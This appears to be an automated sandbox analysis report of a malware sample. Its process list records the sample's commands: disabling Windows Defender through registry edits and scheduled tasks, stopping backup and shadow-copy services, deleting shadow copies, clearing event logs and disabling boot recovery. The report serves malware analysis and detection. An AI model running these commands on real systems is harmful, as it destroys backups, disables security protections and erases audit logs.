PID 3584 wrote to memory of 1376 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 1572 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 1572 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 1844 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 1844 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2112 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2384 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2612 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\sc.exe
PID 3584 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 4832 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 4832 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 1192 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 4988 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe
PID 3584 wrote to memory of 4988 N/A C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe C:\Windows\SYSTEM32\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe

"C:\Users\Admin\AppData\Local\Temp\4a484842f4376660894109a2123cd4e1917193efcce9b776e8c769fc667c05b3.bin.sample.exe"

C:\Windows\SYSTEM32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "vmicvss" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "vmicvss" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\SYSTEM32\net.exe

net.exe stop "UnistoreSvc_13705" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UnistoreSvc_13705" /y

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "vmicvss" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\SYSTEM32\sc.exe

sc.exe config "UnistoreSvc_13705" start= disabled

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\SYSTEM32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\SYSTEM32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\SYSTEM32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\SYSTEM32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 time.windows.com udp
NL 40.119.148.38:123 time.windows.com udp

Files

memory/3956-115-0x0000000000000000-mapping.dmp

memory/8-116-0x0000000000000000-mapping.dmp

memory/4292-117-0x0000000000000000-mapping.dmp

memory/4180-118-0x0000000000000000-mapping.dmp

memory/4208-119-0x0000000000000000-mapping.dmp

memory/4372-120-0x0000000000000000-mapping.dmp

memory/4452-121-0x0000000000000000-mapping.dmp

memory/4344-122-0x0000000000000000-mapping.dmp

memory/4352-123-0x0000000000000000-mapping.dmp

memory/788-124-0x0000000000000000-mapping.dmp

memory/4484-125-0x0000000000000000-mapping.dmp

memory/3748-126-0x0000000000000000-mapping.dmp

memory/3352-127-0x0000000000000000-mapping.dmp

memory/4248-128-0x0000000000000000-mapping.dmp

memory/3280-129-0x0000000000000000-mapping.dmp

memory/524-130-0x0000000000000000-mapping.dmp

memory/644-131-0x0000000000000000-mapping.dmp

memory/1020-132-0x0000000000000000-mapping.dmp

memory/956-133-0x0000000000000000-mapping.dmp

memory/1236-134-0x0000000000000000-mapping.dmp

memory/1376-135-0x0000000000000000-mapping.dmp

memory/1572-136-0x0000000000000000-mapping.dmp

memory/1844-137-0x0000000000000000-mapping.dmp

memory/2112-138-0x0000000000000000-mapping.dmp

memory/2384-139-0x0000000000000000-mapping.dmp

memory/2612-140-0x0000000000000000-mapping.dmp

memory/2696-141-0x0000000000000000-mapping.dmp

memory/2152-142-0x0000000000000000-mapping.dmp

memory/1972-143-0x0000000000000000-mapping.dmp

memory/4832-144-0x0000000000000000-mapping.dmp

memory/1192-145-0x0000000000000000-mapping.dmp

memory/4988-146-0x0000000000000000-mapping.dmp

memory/1400-147-0x0000000000000000-mapping.dmp

memory/4876-148-0x0000000000000000-mapping.dmp

memory/4864-149-0x0000000000000000-mapping.dmp

memory/4580-150-0x0000000000000000-mapping.dmp

memory/4776-151-0x0000000000000000-mapping.dmp

memory/5028-152-0x0000000000000000-mapping.dmp

memory/2880-153-0x0000000000000000-mapping.dmp

memory/5096-154-0x0000000000000000-mapping.dmp

memory/396-155-0x0000000000000000-mapping.dmp

memory/668-156-0x0000000000000000-mapping.dmp

memory/2908-157-0x0000000000000000-mapping.dmp

memory/4972-158-0x0000000000000000-mapping.dmp

memory/908-159-0x0000000000000000-mapping.dmp

memory/2772-160-0x0000000000000000-mapping.dmp

memory/1504-161-0x0000000000000000-mapping.dmp

memory/1640-162-0x0000000000000000-mapping.dmp

memory/3040-163-0x0000000000000000-mapping.dmp

memory/1492-164-0x0000000000000000-mapping.dmp

memory/4472-165-0x0000000000000000-mapping.dmp

memory/2884-166-0x0000000000000000-mapping.dmp

memory/2952-167-0x0000000000000000-mapping.dmp

memory/4780-168-0x0000000000000000-mapping.dmp

memory/832-169-0x0000000000000000-mapping.dmp

memory/2472-170-0x0000000000000000-mapping.dmp

memory/3936-171-0x0000000000000000-mapping.dmp

memory/3204-172-0x0000000000000000-mapping.dmp

memory/3044-173-0x0000000000000000-mapping.dmp

memory/2164-174-0x0000000000000000-mapping.dmp

memory/5056-175-0x0000000000000000-mapping.dmp

memory/2832-176-0x0000000000000000-mapping.dmp

memory/4176-177-0x0000000000000000-mapping.dmp

memory/4296-178-0x0000000000000000-mapping.dmp

memory/640-180-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-179-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-181-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-182-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-183-0x00000204761F0000-0x0000020476212000-memory.dmp

memory/640-184-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-185-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-186-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-187-0x00000204765E0000-0x0000020476656000-memory.dmp

memory/640-188-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-192-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-194-0x0000020476223000-0x0000020476225000-memory.dmp

memory/640-193-0x0000020476220000-0x0000020476222000-memory.dmp

memory/640-195-0x0000020476226000-0x0000020476228000-memory.dmp

memory/640-196-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/640-216-0x000002045DB90000-0x000002045DB92000-memory.dmp

memory/2700-218-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-219-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 8592ba100a78835a6b94d5949e13dfc1
SHA1 63e901200ab9a57c7dd4c078d7f75dcd3b357020
SHA256 fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c
SHA512 87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

memory/2700-220-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-221-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 c43aabbeea5aa712837b8c2a08120827
SHA1 c78dfefdf00448cedb7c46458998a3183845e4a1
SHA256 392e0a44f7f6b1bd6427937f7e5585390c41b0be516ff3c1d313e7e6665e3412
SHA512 3a1775614d5369a67db61b6e269ef09b203a7e04f2eaffcac0d40580aabf4708a65c423f7f10f1e0d85677b15c83e2d221363c2a9fc355c3c90c3feac1bbf118

memory/2700-222-0x000002234CEA0000-0x000002234CEC2000-memory.dmp

memory/2700-224-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-225-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-226-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-227-0x000002234D290000-0x000002234D306000-memory.dmp

memory/2700-228-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-232-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-234-0x000002234CF50000-0x000002234CF52000-memory.dmp

memory/640-233-0x0000020476228000-0x0000020476229000-memory.dmp

memory/2700-235-0x0000022332FB0000-0x0000022332FB2000-memory.dmp

memory/2700-237-0x000002234CF53000-0x000002234CF55000-memory.dmp

memory/2700-238-0x000002234CF56000-0x000002234CF58000-memory.dmp

memory/2700-258-0x000002234CF58000-0x000002234CF59000-memory.dmp